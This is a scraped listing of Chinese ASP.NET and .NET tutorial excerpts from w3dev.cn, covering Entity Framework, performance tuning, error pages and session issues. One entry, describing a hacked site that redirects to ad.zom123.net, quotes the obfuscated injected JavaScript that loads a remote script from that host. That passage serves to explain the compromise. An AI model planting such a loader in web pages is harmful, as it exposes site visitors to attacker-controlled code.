ADO.NET Entity Framework资料2

  ADO.NET Entity Framework,即下一代的ADO.NET。它是比Linq To SQL更加强大的ORM,让开发人员只需要着眼于领域对象模型的开发,而不需要考虑它们是如何与关系数据库交互。上一篇文章简单介绍了在项目中如何使用ADO.NET实体框架,从现在开始,正式进入了ADO.NET的学习之旅。这篇文章主要介绍在ADO.NET实体框架中如何进行查询(以Northwind数据库为例)。1. 使用EntityCommand进行查询  在实体框架中,我们可以通过EntityCommand进行查询,它的使用方法就像ADO.NET中的SqlCommand。不同的是 SqlComma
http://www.w3dev.cn/article/20120331/ado-net-entity-framework-2.aspx

提高.Net平台下TCP传输速度

外再开辟1个G的内存来缓存,对于系统来说简直是无法忍受。由于我们用.net 发送数据,我们在发送时需要将对象序列化到流中,而不能像 C/C++那样直接通过指针来读取数据(当然你也可以用unsafe代码,但这种方式会带来其他问题,而且并不为大家所推荐),所以我们需要开发一个专门用 TCP 发送缓存的流来处理读写前的缓存。为此我开发了一个 TcpCacheStream 类,这个类被用在读写 NetworkStream 前先进行缓存。 调用方法很简单   发送过程object msg;//初始化 msg 过程省略System.Net.Sockets.NetworkStream _ClientStre
http://www.w3dev.cn/article/20120318/improve-net-tcp-transport-speed.aspx

ASP.NET ICallbackEventHandler接口

  ASP.NET 2.0 Callback 使得ASP.NET Server端控件能够调用服务端的方法而不需要执行一个完整的Postback过程,也就是说使得Server端控件可以很好的支持Ajax。   Callback不同于Postback之处在于向服务器发送请求时只有ViewState和用户自定义信息被发送到服务器端,请求完毕后,只返回用户自定义结果,而不会从Render页面。  GridView控件正是使用了这个技术来实现无刷新的分页及排序功能,那么它是如何实现的哪,我们又如何在自定义控件中添加该功能哪?本文将会简单地阐述如何使用ASP.NET 2.0 Callback来实现Ajax
http://www.w3dev.cn/article/20120317/ASP-NET-ICallbackEventHandler-interface.aspx

.NET性能优化细节

.NET性能优化 1)避免使用ArrayList。  因为任何对象添加到ArrayList都要封箱为System.Object类型,从ArrayList取出数据时,要拆箱回实际的类型。建议使用自定义的集合类型代替ArrayList。.net 2.0提供了一个新的类型,叫泛型,这是一个强类型,使用泛型集合就可以避免了封箱和拆箱的发生,提高了性能。2)使用HashTale代替其他字典集合类型  (如StringDictionary,NameValueCollection,HybridCollection),存放少量数据的时候可以使用HashTable.3)为字符串容器声明常量,不要直接把字符封装
http://www.w3dev.cn/article/20120308/net-performance-Optimization.aspx

.NET WMI名字空间介绍

关系。规范应用程序的对象,使其符合WMI的规范,这样的工作对于.NET程序员来说是直接简单的。因为WMI的架构模式本来就是面向对象的,并且有很多的特性与.NET元数据是相通的。因此应用程序的对象可以直接映射为WMI对象,相同的,使应用程序代码转化为可管理的应用程序代码将不会需要很大的代价。举例来说您可以如此规范化.NET应用程序:n 应用程序的组件可以发生事件。n 提供可管理的对象使得应用程序可以配置。n 暴露运行时数据,如性能特性来源:http://blog.csdn.net/21aspnet/article/details/153922
http://www.w3dev.cn/article/20120307/net-wmi-namespace-introduce.aspx

ASP.NET Session常见问题

directive”?答:这个问题可能在一个已经安装了Microsoft Visual Studio .NET开发环境的机器上,再安装Window Sharepoint Server(WSS)后出现。WSS ISAPI过滤器会处理所有的请求。当你通过虚拟目录浏览一个ASP.NET的应用程序时,ISAPI过滤器不会给文件夹目录分配URL。解决方法是:不要再安装了WSS的机器上使用Session。详细信息请参考:Session state cannot be used in ASP.NET with Windows SharePoint Serviceshttp://support.micro
http://www.w3dev.cn/article/20120304/asp-net-session-problem.aspx

asp.net加密数据库连接驱动

注册上面的的路径和名称! 运行后出现成功! 4.解密 同样到网站根目录添加一个批处理文件deweb.bat,内容如下: @echooff C:/WINDOWS/Microsoft.NET/Framework/v2.0.50727/aspnet_regiis-pef"system.web/identity""E:/HSStudio/Donet2/Hnlawyer" C:/WINDOWS/Microsoft.NET/Framework/v2.0.50727/aspnet_regiis-pdf"connectionStrings""E:/HSStudio/Donet2/Hnlawyer" PAU
http://www.w3dev.cn/article/20120303/asp-net-encrypt-database-link-string.aspx

ASP.NET生成统计图表

N" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"html xmlns="http://www.w3.org/1999/xhtml" head runat="server" title清清月儿http://blog.csdn.net/21aspnet/title/headbody form id="form1" runat="server" div style="text-align: left" table style="width: 600px" tr td colspan="3" style="height: 20p
http://www.w3dev.cn/article/20120227/asp-net-create-statistics-chat.aspx

asp.net如何实现断点续传文件下载

本和附件分开。示例代码  我们知道了客户端和服务器如何交换头信息以保证可恢复的下载,把这些知识与文件块流的思想结合起来,你就可以给自己的ASP.NET应用程序增加可靠的下载管理能力了。  获取下载过程的控制权的方法是从客户端截取下载请求、读取头信息并适当地响应。在.NET之前,你必须编写ISAPI(Internet服务器API)应用程序来实现这种功能,但是.NET框架组件提供了一个IHttpHandler接口,在类中实现的时候,它允许你仅仅使用.NET代码就能够截取和处理请求。这意味着你的应用程序对于下载过程有完全控制权和响应性,再也不会涉及或使用IIS的自动化函数。  示例代码在HttpHa
http://www.w3dev.cn/article/20120226/file-resume-broken-downloads.aspx

.NET Assembly详细介绍

application that requires different versions of the Calculus.dll assembly CLR能够将名程相同但路径不同的多个文件加载到同一个地址空间,这在.NET中称为并存执行(Side-By-Side)执行,它是解决Windows中”DLL Hole”问题的关键技术。 如.NET Framework 1.0 和.NET Framework 1.1都可以同是在一台机器上运行,这用到的就是并存执行(Side-By-Side)执行。 更多参考: ms-help://MS.MSDNQTR.2004APR.1033/cpguide/html
http://www.w3dev.cn/article/20120225/net-assembly-introduction.aspx

.NET Globalization Resources使用说明

ream(object_name)这个函数拿到对应的资源并以stream的方式返回,然后我们可以将这个stream转成在.NET中可用的对象。比如,如果嵌入资源是一图片,那么我们可以利用New Bitmap(Stream)的constructor获得这个图片资源的Bitmap对象。 第二部分 创建资源文件 创建资源文件有两种方式,一种是使用.NET SDK自带的resgen工具来创建,另外一种是自己写code来创建。分别来介绍: 1. Resgen: 这个工具是.NET自带的,它可以把.txt,.resX,转换为.resources文件。.resources文件是以一种以键-值方式对应存储
http://www.w3dev.cn/article/20120225/net-globalization-resources-introduction.aspx

asp.net实现文件压缩解压缩

.Win32;usingSystem.Diagnostics;publicpartialclass_Default:System.Web.UI.Page{protectedvoidPage_Load(objectsender,EventArgse){//清清月儿http://blog.csdn.net/21aspnet/}protectedvoidButton1_Click(objectsender,EventArgse){//压缩Stringthe_rar;RegistryKeythe_Reg;Objectthe_Obj;Stringthe_Info;ProcessStartInfothe
http://www.w3dev.cn/article/20120225/asp-net-file-compression-decompression.aspx

asp.net生成pdf文件

dll和ICSharpCode.SharpZipLib.dllhttp://sourceforge.net/project/showfiles.php?group_id=72954iTextSharp.tutorial.01.zip 示例文件 提供了各种解决方案本文由于时间问题仅做抛砖引玉,希望大家自己研究其他需求itextsharp.dll itextsharp-4.0.3-dll.zip ICSharpCode.SharpZipLib.dll http://download.csdn.net/down/135897 ICSharpCode.SharpZipLib.dll SharpZipL
http://www.w3dev.cn/article/20120225/asp-net-create-pdf-file.aspx

IIS7设置身份模拟(ASP.NET impersonation)

说 Asp.net 没有用我设置的这个 MyAccount 帐号模拟运行,而是仍然用IUSR 帐号模拟运行。查了好久,才发现是下面问题造成:用 Virtual Studio 2008 生成网站时,web.config 文件中默认会有这样一个设置:identity impersonate="true" /  这个设置是为 IIS 6 做身份模拟而设置的。在这种情况下,用户身份的认证交给IIS来进行。当允许匿名登录时,IIS将一个匿名登录使用的标识(缺省情况下是IUSR)交给ASP.NET应用程序。当不允许匿名登录时,IIS将认证过的身份标识传递给ASP.NET应用程序。ASP.NET的具体访问权
http://www.w3dev.cn/article/20120224/iis7-ASP-NET-impersonation.aspx

asp.net操作EXCEL提示没有权限

问题描述:asp.net操作EXCEL组件时提示没有权限解决办法:确保你有足够的权限,开始-运行:dcomcnfg,在应用程序列表框中选择“Microsoft Excel 应用程序”-“安全性”-选择“使用自定义访问权限”,点击“编辑”按钮,添加本地“ASPNET”用户,权限为“允许访问。来源:http://blog.csdn.net/littlehb/article/details/150653
http://www.w3dev.cn/article/20120223/3559.aspx

App_Offline.htm在asp.net站点中作用

tylediv{background-color:#ffffcc;padding-top:10px;padding-bottom:10px;padding-left:10px;padding-right:10px;border-style:solid;border-color:Black;border-width:1px;}/stylebodydivh121世纪开运网www.21kaiyun.com站点更新中站点更新中/h1p站点更新中,请稍后访问。/p/div/body/html来源:http://blog.csdn.net/21aspnet/article/details/5770566
http://www.w3dev.cn/article/20120219/app-offline-effect-in-asp-net-website.aspx

asp.net程序性能优化

用VB.net和Jscript动态数据类型 应当始终显示地申明变量数据类型,这能够节约程序的执行时间。以往,开发人员喜欢使用 Visual Basic、VBScript 和 JScript 的原因之一就是它们所谓"无类型"的性质。变量不需要显式类型声明,并能够简单地通过使用来创建它们。当从一个类型到另一个类型进行分配时,转换将自动执行。不过,这种便利会大大损害应用程序的性能。 如: 为了获得最佳的性能,当声明 JScript .NET 变量时,请为其分配一个类型。例如,var A : String; 四、使用缓存 1、使用Output Cache缓存数据 提供缓存功能是ASP.net中非常强
http://www.w3dev.cn/article/20120212/asp-net-optimization.aspx

asp.net web.config配置redirectMode="ResponseRewrite"不起作用

,并且不更改浏览器中的原始 URL。  当设置redirectmode为responserewrite时,如果未安装.net framework3.5,会显示asp.net默认的编译错误,并没有执行定义的错误页面。edirectMode指定为ResponseRedirect时会执行指定的错误页面,但是会附带aspxerrorpat参数。  所以要配置web.config的customErrors节点的属性RedirectMode为ResponseRedirect并且起作用,需要安装.net framework3.5。  相关文章去掉隐藏asp.net编译出错aspxerrorpath错误参数
http://www.w3dev.cn/article/20120207/web-config-redirectmode-responserewrite-does-not-work.aspx

asp.net防止图片盗链源代码

  asp.net防止图片盗链有以下几种方法。  1.所有的image url都跟上密文.比如你在绑定页面image url时可以这么做.以下是MVC示例.其他的差不多.  ImageController+展开-C#  stringpath="/Content/";  stringimgName="girl.jpg";  longticks=DateTime.Now.Ticks;  //使用当前时间刻度作为待加密对象  stringencryptKey=ticks.ToString();  //使用自定义对称算法加密  byte[]data=SymmetricEncryptionUtilit
http://www.w3dev.cn/article/20120101/asp-net-forbid-image-External-reference.aspx

ASP.NET环境配置常见错误

Microsoft .NET Framework 版本:2.0.50727.1433; ASP.NET 版本:2.0.50727.1433  **************************  *2: 解决办法 *  **************************  找到当前.Net文件夹, 修改Temporary ASP.NET Files 属性--安全 --增加NETWORK SERVICE用户 并设置可写入权限  例如:在 C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\  修改Temporary ASP.NET Files 属性--
http://www.w3dev.cn/article/20120101/asp-net-Common-configuration-error.aspx

asp.net<%--注释--%>和HTML区别

  使用ASP.NET编辑页面时,有两种注释方式:一是使用!-- --,二是使用%-- --%,前一种方式是标准的HTML注释,在HTML文件中也可以使用,后一种是ASP.NET特有的注释,只有在ASPX文件中可以使用。那么这两种注释有什么区别呢?区别就是它们是否显示在页面最终生成的HTML文件中。现在做一个试验,做一个test.aspx文件,页面代码如下。+展开-HTML  html  body  formid="form1"runat="server"  注释测试  !--htmlcomment会包含在最终生成的html文件中--  %--aspxcomment不会包含在最终生成的htm
http://www.w3dev.cn/article/20120101/asp-net-note-html-note-difference.aspx

ad.zom123.net弹窗木马

  最近看到朋友的网站第一次访问的时候会转向到ad.zom123.net这个网址,然后弹窗窗口,还以为我电脑中病毒了,后面在网上查找好像有很多都有ad.zom123.net这个问题。  出现这个问题就是基本是你的站被黑了,一些公用js文件被插入了下面的JavaScript代码+展开-JavaScriptdocument.write('sc'+'riptsrc="\/sc'+'ript'"http://%61d'+'.%7ao'+'m1'+'2%33'+'.ne'+'t/ip'+'.asp?'+'c=tianjin|vietnam"\/sc'+'ript');  这个广告代码是动态插入的,直接
http://www.w3dev.cn/article/20111220/ad-zom123-net-pop-virus.aspx

asp.net无法识别的属性redirectMode

“/”应用程序中的服务器错误。--------------------------------------------------------------------------------配置错误 说明: 在处理向该请求提供服务所需的配置文件时出错。请检查下面的特定错误详细信息并适当地修改配置文件。 分析器错误消息: 无法识别的属性“redirectMode”。请注意属性名称区分大小写。asp.net陈旭编译的时候出现这个错误。这个是因为使用的framework不是3.5版本的问题,redirectMode属性在.net 3.5里才有,2.0, 3.0的话要打SP2补丁。
http://www.w3dev.cn/article/20111025/asp-net-do-not-know-attribute-redirectmode.aspx

C#使用HttpWebRequest提交ASP.NET表单并保持Session和Cookie

一个跳转页面,几秒钟后会自动跳转到 Default.aspx 页面。3)Default.aspx 页面Default.aspx 页面是主界面,打开主界面时会判断 LoginSession 和 LoginCookie 的值是否正确,并把 Session 和 Cookie 的值显示出来。提交ASP.NET表单(即完成自动登录)的代码如下:+展开-C#try{CookieContainercookieContainer=newCookieContainer();/////////////////////////////////////////////////////1.打开MyLogin.aspx
http://www.w3dev.cn/article/20111017/cshar-httpwebrequest-post-form-save-session.aspx

asp.net runat server属性编译错误

  asp.net中的runat属性一定要注意放置的位置,要不会导致编译器编译出错。runat和server 这2个单词不能同时放在尖括号后面,要不编译器会编译出错。如,!--runat server-- ,虽然是注释的意思,但是会编译出错,提示服务器标记不正确!“/”应用程序中的服务器错误。 分析器错误 说明: 在分析向此请求提供服务所需资源时出错。请检查下列特定分析错误详细信息并适当地修改源文件。 分析器错误消息: 服务器标记的格式不正确。  asp.net的ruant 和server和Jav
http://www.w3dev.cn/article/20110929/asp-net-runat-server-attribute-error.aspx

ASP.NET的assembly:WebResource资源管理使用

  ASP.NET(1.0/1.1)给我们提供了一个开发WebControl的编程模型,于是我们摆脱了asp里面的include模式的复用方式。不过 1.0/1.1提供的Web控件开发模型对于处理没有image、css等外部资源的组件还算比较得心应手,script虽然很多时候也是外部资源,但在开发控件的时候我们习惯把script使用Page.Register...Script()来嵌入模块,因为紧凑的东西更便于我们复用,用一个dll就可以解决问题又何必要节外生枝呢。  ASP.NET 2.0提供的Web Resources管理模型,很好的解决了image、css、script等外部资源的管理问
http://www.w3dev.cn/article/20110915/asp-net-assembly-WebResource.aspx

去掉隐藏asp.net编译出错aspxerrorpath错误参数

户重定向到该错误页面,并且原始 URL 更改为该错误页面的 URL,并附带aspxerrorpath参数,参数值为发生错误的动态页的路径。  2)RedirectMode 属性设置为 ResponseRewrite,则将用户定向到错误页面,并且不更改浏览器中的原始 URL。  所以要删除asp.net编译出错时附带的aspxerrorpath参数,需要设置RedirectMode为ResponseRewrite+展开-XMLcustomErrorsdefaultRedirect="404.aspx"mode="On"redirectMode="ResponseRewrite"errorsta
http://www.w3dev.cn/article/20110812/remove-aspxerrorpath-error-paramter.aspx

asp.net中创建自定义的错误处理页面

概要本文介绍如何在 ASP.NET 中发生错误时使用 Visual C# .NET 代码捕获和响应错误。ASP.NET 改进了传统的 Microsoft Active Server Page (ASP) 中的错误处理选项。在 ASP.NET 中,您可在应用程序中处理若干不同级别的错误。 ASP.NET 中的新功能ASP.NET 在处理和响应错误的方式上进行了若干改进。在传统的 ASP 中,是用"On Error Resume Next"(或在 Jscript 中用 try-catch 块)处理错误的。或者,如果您运行的是 Microsoft Internet Information Ser
http://www.w3dev.cn/article/20110812/asp-net-self-define-error-handler.aspx